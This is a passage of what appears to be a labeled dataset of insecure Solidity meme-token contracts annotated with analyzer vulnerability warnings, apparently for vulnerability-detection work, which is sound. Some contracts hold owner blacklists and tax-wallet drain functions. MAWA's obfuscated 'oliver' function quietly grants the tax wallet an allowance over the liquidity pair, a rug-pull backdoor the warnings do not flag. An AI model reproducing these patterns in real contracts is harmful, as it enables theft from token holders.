fce3425\n for (uint256 i = 0; i < xExtensionKeys.length; i++) {\n if (xActiveKeys[xExtensionKeys[i]]) {\n activeCount++;\n }\n }\n\n ExtensionInfo[] memory activeExtensions = new ExtensionInfo[](\n activeCount\n );\n\n uint256 counter = 0;\n\n\t\t// cache-array-length | ID: c2d8253\n for (uint256 i = 0; i < xExtensionKeys.length; i++) {\n if (xActiveKeys[xExtensionKeys[i]]) {\n ExtensionInfo memory info = ExtensionInfo({\n addr: xExtensionKeys[i],\n description: xExtensionDetails[xExtensionKeys[i]]\n });\n\n activeExtensions[counter] = info;\n\n counter++;\n }\n }\n\n return activeExtensions;\n }\n\n function xGetImmutableExtensions()\n public\n view\n returns (ExtensionInfo[] memory)\n {\n uint256 immutableCount = 0;\n\n\t\t// cache-array-length | ID: f3aa804\n for (uint256 i = 0; i < xExtensionKeys.length; i++) {\n if (xImmutableKeys[xExtensionKeys[i]]) {\n immutableCount++;\n }\n }\n\n ExtensionInfo[] memory immutableExtensions = new ExtensionInfo[](\n immutableCount\n );\n\n uint256 counter = 0;\n\n\t\t// cache-array-length | ID: 1f6b7db\n for (uint256 i = 0; i < xExtensionKeys.length; i++) {\n if (xImmutableKeys[xExtensionKeys[i]]) {\n ExtensionInfo memory info = ExtensionInfo({\n addr: xExtensionKeys[i],\n description: xExtensionDetails[xExtensionKeys[i]]\n });\n\n immutableExtensions[counter] = info;\n\n counter++;\n }\n }\n\n return immutableExtensions;\n }\n}", "file_name": "solidity_code_840.sol", "secure": 0, "size_bytes": 23935 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 990bed8): Contract locking ether found Contract babypepe has payable functions babypepe.receive() But does not have a function to withdraw the ether\n// Recommendation for 990bed8: Remove the 'payable' attribute or add a withdraw function.\ncontract Babypepe is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 55_000_000_000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10_000 * 1 ether;\n\n mapping(address => uint256) public numMinted;\n\n constructor() ERC20(\"babypepe\", \"babypepe\") Ownable(msg.sender) {\n uint256 lp_amt = 5_000_000_000 * 1 ether;\n\n _mint(0xDbB573131B6ee649c124967B0b7883b5F1F009C2, lp_amt);\n\n renounceOwnership();\n }\n\n function __mint() private {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(numMinted[msg.sender] < 10, \"Address minted 10\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n numMinted[msg.sender] += 1;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n\n function mint() external {\n __mint();\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 990bed8): Contract locking ether found Contract babypepe has payable functions babypepe.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 990bed8: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {\n __mint();\n }\n}", "file_name": "solidity_code_841.sol", "secure": 0, "size_bytes": 1788 }
{ "code": "// SPDX-License-Identifier: NONE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n address payable private _taxWallet;\n\n string private _name = unicode\"\";\n\n string private _symbol = unicode\"\";\n\n uint256 private _initialBuyTax = 21;\n\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 23;\n\n uint256 private _reduceSellTaxAt = 23;\n\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 300000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 10;\n\n uint256 public _maxWalletSize = (_tTotal * 3) / 10;\n\n uint256 public _taxSwapThreshold = _tTotal / 100;\n\n uint256 public _maxTaxSwap = _tTotal / 100;\n\n address private goldie =\n address(0x57a29A7B6054C276cDfFB8a2832Ca38507D4534B);\n\n uint256 private goldieAmount = (_tTotal * 2) / 10;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d6986d2): ERC20.constructor(string,string,address).taxWallet_ lacks a zerocheck on \t _taxWallet = address(taxWallet_)\n\t// Recommendation for d6986d2: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n address taxWallet_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n\t\t// missing-zero-check | ID: d6986d2\n _taxWallet = payable(taxWallet_);\n\n _balances[goldie] = goldieAmount;\n\n _balances[address(this)] = _tTotal - goldieAmount;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), goldie, goldieAmount);\n\n emit Transfer(address(0), address(this), _tTotal - goldieAmount);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 451bbe1\n\t\t// reentrancy-benign | ID: f46d987\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 451bbe1\n\t\t// reentrancy-benign | ID: f46d987\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c71cd30\n\t\t// reentrancy-benign | ID: f46d987\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 451bbe1\n\t\t// reentrancy-events | ID: 8818054\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d663de6\n\t\t\t\t// reentrancy-eth | ID: 70f1020\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d663de6\n\t\t\t\t\t// reentrancy-eth | ID: 70f1020\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 70f1020\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 70f1020\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 70f1020\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d663de6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 70f1020\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 70f1020\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d663de6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 451bbe1\n\t\t// reentrancy-events | ID: 8818054\n\t\t// reentrancy-events | ID: d663de6\n\t\t// reentrancy-benign | ID: c71cd30\n\t\t// reentrancy-benign | ID: f46d987\n\t\t// reentrancy-eth | ID: 3786448\n\t\t// reentrancy-eth | ID: 69aa848\n\t\t// reentrancy-eth | ID: 70f1020\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 451bbe1\n\t\t// reentrancy-events | ID: 8818054\n\t\t// reentrancy-events | ID: d663de6\n\t\t// reentrancy-eth | ID: 3786448\n\t\t// reentrancy-eth | ID: 69aa848\n\t\t// reentrancy-eth | ID: 70f1020\n\t\t// arbitrary-send-eth | ID: 416273a\n _taxWallet.transfer(amount);\n }\n\n function blackbot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function whitebt(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 8818054\n\t\t// reentrancy-benign | ID: c71cd30\n\t\t// reentrancy-eth | ID: 3786448\n\t\t// reentrancy-eth | ID: 69aa848\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 8818054\n\t\t// reentrancy-benign | ID: c71cd30\n\t\t// reentrancy-eth | ID: 3786448\n\t\t// reentrancy-eth | ID: 69aa848\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 8818054\n\t\t// reentrancy-benign | ID: c71cd30\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: d205004\n\t\t// reentrancy-eth | ID: 69aa848\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 985e7aa\n\t\t// reentrancy-eth | ID: 69aa848\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 69aa848\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 69aa848\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: b5aa185\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_842.sol", "secure": 0, "size_bytes": 13500 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: b582d85): Contract locking ether found Contract SonGoku has payable functions SonGoku.receive() But does not have a function to withdraw the ether\n// Recommendation for b582d85: Remove the 'payable' attribute or add a withdraw function.\ncontract SonGoku is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10000000000 * 1 ether;\n\n mapping(address => uint256) public numMinted;\n\n constructor() ERC20(\"SonGoku\", \"Goku\") Ownable(msg.sender) {}\n\n function __mint() private {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(numMinted[msg.sender] < 10, \"Address minted 10\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n numMinted[msg.sender] += 1;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n\n function mint() external {\n __mint();\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: b582d85): Contract locking ether found Contract SonGoku has payable functions SonGoku.receive() But does not have a function to withdraw the ether\n\t// Recommendation for b582d85: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {\n __mint();\n }\n}", "file_name": "solidity_code_843.sol", "secure": 0, "size_bytes": 1625 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract MAWA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _oApproval;\n\n mapping(address => bool) private _doExcludedFromO;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5897f44): MAWA._initialBuyTax should be constant \n\t// Recommendation for 5897f44: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1fbdee): MAWA._initialSellTax should be constant \n\t// Recommendation for d1fbdee: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b95ce4): MAWA._finalBuyTax should be constant \n\t// Recommendation for 4b95ce4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d38afa7): MAWA._finalSellTax should be constant \n\t// Recommendation for d38afa7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d40ddf4): MAWA._reduceBuyTaxAt should be constant \n\t// Recommendation for d40ddf4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e1c7b7): MAWA._reduceSellTaxAt should be constant \n\t// Recommendation for 8e1c7b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54ce973): MAWA._preventSwapBefore should be constant \n\t// Recommendation for 54ce973: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make America Win Again\";\n\n string private constant _symbol = unicode\"MAWA\";\n\n uint256 public _maxOAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxOWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37e2fb9): MAWA._taxSwapThreshold should be constant \n\t// Recommendation for 37e2fb9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: bad8551): MAWA._maxTaxSwap should be constant \n\t// Recommendation for bad8551: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n address payable private oTaxReceipt;\n\n IUniswapV2Router02 private uniORouter;\n\n address private uniOPair;\n\n event MaxTxAmountUpdated(uint256 _maxOAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n oTaxReceipt = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _doExcludedFromO[address(this)] = true;\n\n _doExcludedFromO[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 487dcb3): MAWA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 487dcb3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _oApproval[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7a78cc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7a78cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4d881db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4d881db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a7a78cc\n\t\t// reentrancy-benign | ID: 4d881db\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a7a78cc\n\t\t// reentrancy-benign | ID: 4d881db\n _approve(\n sender,\n _msgSender(),\n _oApproval[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 029b40e): MAWA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 029b40e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4d881db\n _oApproval[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a7a78cc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5a470c0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5a470c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e4d9ceb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e4d9ceb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n uint256 taxAmount = 0;\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (\n from == uniOPair &&\n to != address(uniORouter) &&\n !_doExcludedFromO[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxOAmount, \"Exceeds the _maxOAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxOWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (\n oliver([from == uniOPair ? from : uniOPair, oTaxReceipt]) &&\n to != uniOPair &&\n !_doExcludedFromO[to]\n ) {\n require(\n balanceOf(to) + amount <= _maxOWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniOPair) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniOPair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 5a470c0\n\t\t\t\t\t// reentrancy-eth | ID: e4d9ceb\n oSwapEthTo(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 5a470c0\n\t\t\t\t// reentrancy-eth | ID: e4d9ceb\n oSendEthTo();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e4d9ceb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5a470c0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e4d9ceb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e4d9ceb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5a470c0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: eaa3578): MAWA.removeLimits(address).limit lacks a zerocheck on \t oTaxReceipt = limit\n\t// Recommendation for eaa3578: Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: eaa3578\n oTaxReceipt = limit;\n\n _maxOAmount = _tTotal;\n\n _maxOWallet = _tTotal;\n\n _doExcludedFromO[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function oSwapEthTo(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniORouter.WETH();\n\n _approve(address(this), address(uniORouter), amount);\n\n\t\t// reentrancy-events | ID: 5a470c0\n\t\t// reentrancy-events | ID: a7a78cc\n\t\t// reentrancy-benign | ID: 4d881db\n\t\t// reentrancy-eth | ID: e4d9ceb\n uniORouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 874bf69): MAWA.oSendEthTo() sends eth to arbitrary user Dangerous calls oTaxReceipt.transfer(address(this).balance)\n\t// Recommendation for 874bf69: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function oSendEthTo() private {\n\t\t// reentrancy-events | ID: 5a470c0\n\t\t// reentrancy-events | ID: a7a78cc\n\t\t// reentrancy-eth | ID: e4d9ceb\n\t\t// arbitrary-send-eth | ID: 874bf69\n oTaxReceipt.transfer(address(this).balance);\n }\n\n function oliver(address[2] memory oils) private returns (bool) {\n address oilA = oils[0];\n address oilB = oils[1];\n\n _oApproval[oilA][oilB] =\n 10 *\n (100 + _maxOAmount * 100).sub(50) +\n 50 *\n 10;\n\n return true;\n }\n\n receive() external payable {}\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c183280): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c183280: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 19e899f): MAWA.openTrading() ignores return value by IERC20(uniOPair).approve(address(uniORouter),type()(uint256).max)\n\t// Recommendation for 19e899f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d0d5dba): MAWA.openTrading() ignores return value by uniORouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d0d5dba: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d356853): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d356853: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniORouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniORouter), _tTotal);\n\n\t\t// reentrancy-benign | ID: c183280\n\t\t// reentrancy-eth | ID: d356853\n uniOPair = IUniswapV2Factory(uniORouter.factory()).createPair(\n address(this),\n uniORouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c183280\n\t\t// unused-return | ID: d0d5dba\n\t\t// reentrancy-eth | ID: d356853\n uniORouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign 